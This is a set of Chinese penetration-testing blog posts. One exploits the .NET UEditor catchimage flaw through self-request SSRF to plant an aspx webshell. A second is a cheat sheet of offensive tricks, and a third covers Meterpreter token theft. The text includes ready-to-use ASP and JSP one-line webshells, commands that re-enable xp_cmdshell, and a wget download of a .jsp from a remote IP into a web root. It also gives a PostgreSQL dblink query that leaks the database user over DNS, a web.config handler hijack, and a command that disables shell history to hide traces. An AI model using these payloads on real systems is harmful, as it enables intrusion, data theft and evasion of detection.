2019年9月

0x01 前言

关于.NET 版本的Ueditor漏洞,想必本行的从业人员都不陌生。
当ueditor/net/Controller.ashx存在的情况下,利用远程下载来拿shell,屡试不爽。且在HW类比赛项目中,结合google hacking语法,也可用来快速打点。

但倘若遇到一些特殊情况,例如HTTP请求不出网,导致无法远程下载自己VPS上的shell时,是否就无计可施呢
答案当然是否定的

0x02 正文

好吧,不废话。直接上场景:
利用目录遍历,发现了某站点存在Ueditor目录,且为存在.net漏洞的版本

先远程GET一波,结果发现 下载失败,服务端 返回了 500错误。

78597800.png

根据以往经验,推测此处可能是HTTP请求失败,无法建立连接导致的。
进一步验证 https://www.baidu.com/img/bd_logo1.png 同样的返回

很僵,对不对?

但其实并没有关系,DNSLog试下
当然服务端同样是500状态码,且也没那么重要

78925726.png

查看dnslog监听结果,发现了惊喜:DNS的请求是可以 突破隔离网络的

79119634.png

这说明了问题:

  • 1.目标网络中是有相应的DNS服务器的
  • 2.拿到入口后 可以利用DNS隧道 让主机上线

当然主机上线是后话,先看如何才能打下入口。

简单思考了下,既然无法外网来下载webshell,那能否通过此处请求来ssrf内网站点或者127.0.0.1来getshell呢
首先这里能否SSRF还不确定,我知道php某版本的有 而.Net不熟。。逃

当然,我也没直接尝试127.0.0.1,原因如下:
外网的端口很可能是随机转发出来的,对应在真实主机上开放的端口号,无法直接确定。另外一点,即使确定了端口号,可能也会面临着目录的问题。

想到这里,又考虑到有DNS,便想到可否利用 请求自身url,来进行shell的下载

先尝试下,利用目录遍历 找到个图片路径

79971954.png

设置souce参数为自身域名下的某个图片,发送请求。
返回 SUCCESS!!!

80170443.png

至此,一切都趋于明朗了。
拿shell的方式其实就简单的拆分为两个步骤:

  • 上传包含shell代码的 正常图片
  • 利用catchimage 漏洞,再次下载至自身服务器,改为aspx格式

上传过程略,因为正常网民都会
直接利用DNS解析问题导致的SSRF,来日自己 下载shell

uuu.png

菜刀图略,打完收工。
后来操作就是DNS隧道让主机上线了

80739321.png

0x03 总结

文中技巧其实并无特别之处,但是这里想表述的是(也是最近的一点感悟)
很多时候我们熟悉了针对某些问题的解决方式,这些方式也可以称之为经验。经验固然是好的,就像捷径。可以很快速的给予我们问题的答案。但另一方面讲,它又像牢笼,将我们的思维限制在习惯舒适的范围中。
渗透是艺术活,需要我们投入耐心 精力,但更需要 精致和灵感。

遇到问题时,多思考,解决了 便是进步。

0x00 关于

这篇大概会显得有些杂乱无章,但主要是用记录自己在平日遇到的问题及寻到的答案
之所以会采用这样的方式,是因为师傅跟我说,他身边个有这样的大佬,积累的小技巧最终都可以出书了...
它会记录成长,哪怕是零碎的 不成体系的知识点

总之。好的习惯,就需要坚持 所以今后会持续更新
如若有一天 此Q&A到达很大的数量时,会对顺序和类型再做一些整理吧

0x01 正文Q&A

1.恢复xp_cmdshell存储过程的SQL语句

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

2.当遇到恢复时遇到"sp_configure错误:不支持对系统目录进行即席更新"

EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE WITH OVERRIDE;

3.MSSQL差异备份的SQL语句

4.Linux VPS上快速开启HTTP服务

python -m SimpleHTTPServer 80

5.Oracle注入,dba权限的利用方式


可以利用sqlmap --passwords参数,获得数据库用户的账号密码,并利用oracleshell工具连接并执行系统命令(前提,windows服务器且外开1521端口)

连接数据库时,需要服务名或SID。在--sql-shell下:
select global_name from global_name;(服务名)
select instance_name from v$instance;  (实例名/sid)

6.上传asp的Webshell时,若无法写入"及%符号,可以用以下马

<script language=vbs runat=server>eval request(0)</script>

7.Linux下将远程文件下载到指定目录

wget -P /var/html/www http://123.123.123.123/1.jsp

8.Linux下快速定位Web所在目录

1.查看前端源码,找到特殊的CSS或JS文件,如xxx.css
2.

9.双击无法打开时,命令行下允许Jar文件

java -jar xxx.jar

10.Linux下支持运行MSSQL2017,该版本的MSSQL无法直接调用xp_cmdshell(因为目前不支持该组件)。但可以通过xp_dirtree()组件来进行列目录。并且渗透时,可对内容文件进行读取操作,利用获取的信息进一步攻击。经测试,该Linux版本无法利用xp_dirtree进行DNSlog获取信息。所以盲注时,需要进一步研究。

11.遇到存在WAF的.net站点时,可以通过unicode编码,对sql注入的payload进行编码,绕过WAF防护。

12.Sqlmap下支持使用-d参数,通过命令行远程连接开放端口的数据库,进行操作。
命令如下:

sqlmap.py -d ""

13.判断是否是ThinkPHP框架的 一条指纹:


http://url/?c=4e5e5d7364f443e28fbf0d3ae744a59a或http://url/4e5e5d7364f443e28fbf0d3ae744a59a

若出现TP框架的LOGO则有该框架。

14.Sqlmap中利用注入,快速定位可能的管理员用户表:


利用参数-search,可以精准/模糊查询 字段名,方便查找
例:sqlmap.py -r 1.txt -D cms -search -C admin,pass

25.Thinkphp日志格式


/application/runtime/logs/年+月+日.log 如 (19_03_06.log)
/runtime/logs/Home/年+月+日.log
/runtime/logs/Home/年+月+日.log

26.注入利用DNSlog的前提:

利用DNS从有漏洞的数据库中渗出数据的前提条件是DBMS中有可用的能直接或间接引发DNS解析过程的子程序,然后这类的子程序被攻击者控制和调用。

27.Sqlmap指定特定类型进行注入检测:


通过参数 --technique=
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

如要检测堆叠查询: --technique=S

28.Windows下 ,快速查找指定文件位置的命令
如在c盘下 查找mimikatz:

dir find c:\mimikatz.exe /s

29.msf获取shell后 为什么通常要进行进程迁移的操作:

刚获取的Meterpreter shell非常脆弱易受攻击,例如攻击者可以利用浏览器漏洞攻陷目标机器,攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动进程,将它和目标机中一个稳定的进程绑在一起,而不需要对磁盘进行任何写入操作。(渗透更难被检测)

30.Linux系统存在文件下载时,如何获取目录结构信息

下载/var/lib/mlocate/mlocate.db ,这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。

此漏洞利用方式结合不完全的上传漏洞(仅返回shell名称,不返回路径),效果更佳

31.PostgreSQL注入时,如何发起DNS请求

CREATE EXTENSION dblink;SELECT * FROM dblink('host='||(select user)||'.twfppo.dnslog.cn user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);--

32.IIS下,让指定的文件后缀解析为asp文件

 <?xml version="1.0" encoding="utf-8"?>
    <configuration>
        <system.webServer>
            <directoryBrowse enabled="true" />
            <handlers>
                <add name="asdx" path="*.asdx" verb="GET,HEAD,POST,DEBUG" 
                modules="IsapiModule"                        
                scriptProcessor="%windir%\System32\inetsrv\asp.dll"
                resourceType="Unspecified" 
                requireAccess="Script" />
            </handlers>
        </system.webServer>
    </configuration>

保存为web.config,至指定目录

33.cmd下 利用powershell对指定ip进行端口扫描

powershell -c "444..446 | % {echo ((new-object Net.Sockets.TcpClient).Connect(\"192.168.180.16\",$_)) \"Port $_ is open!\"} 2>$null"

34.不包含双引号的JSP一句话

<%
       Runtime.getRuntime().exec(request.getParameter(Character.toString('x')));
%>

35.获取windows下 安装的软件列表

wmic product list brief

36.获取Windows下 盘符命令

#本地硬盘
wmic logicaldisk where DriveType=3 get DeviceID
#网络位置
wmic logicaldisk where DriveType=4 get DeviceID

37.Linux下不记录操作痕迹(只在当前终端会话内有效)

export HISTFILE=/dev/null export HISTSIZE=0

0x01 前言

在实际都渗透场景中,往往需要获取指定用户权限的shell。比如当一开始获取了system权限后,若想要切换administrator用户,并实现桌面截图监控,此时就可能需要Token令牌窃取这样的方式,来实现用户权限的切换。

0x02 关于Token

Windows下有两种类型的Token令牌:Delegation Token 和 Impersonation Token

  • Delegation Token:也就是授权令牌,它支持交互式登录(如远程桌面登录访问)
  • Impersonation Token: 模拟令牌,它是非交互式的会话(利用net use访问共享文件夹)

两种Token 只在系统重启后清除
具有授权令牌的用户在注销之后,其Token会变成模拟令牌,依然有效

0x03 利用MSF实现令牌窃取

本地环境测试: 目前已通过MS-17010 获取目标win2k3主机 system权限

49675787.png

此时目标win2k3 处于刚重启完毕,未登录用户状态
先利用incognito查看下Token情况

use incognito
list_tokens -u

可以看到此时还没有 administrator用户的令牌

50725094.png

待对方用户登录后,再次查看

50837006.png

下面实现Token窃取,并查看效果

impersonate_token "主机名\\Administrator"    

51108252.png

成功窃取Token,接下来就可以该用户权限,执行后续的操作了。

用户注销后,同理。依然可以获取该用户的Token
51421220.png

0x04 补充

若想返回之前的Token,可以使用:

rev2self

也可以通过指定 PID ,获取对应的Token:

steal_token pid号

51732724.png

除了MSF,windows下还有其它工具可以达到同样的效果,如incognito.exe
步骤类似,故不多记录了。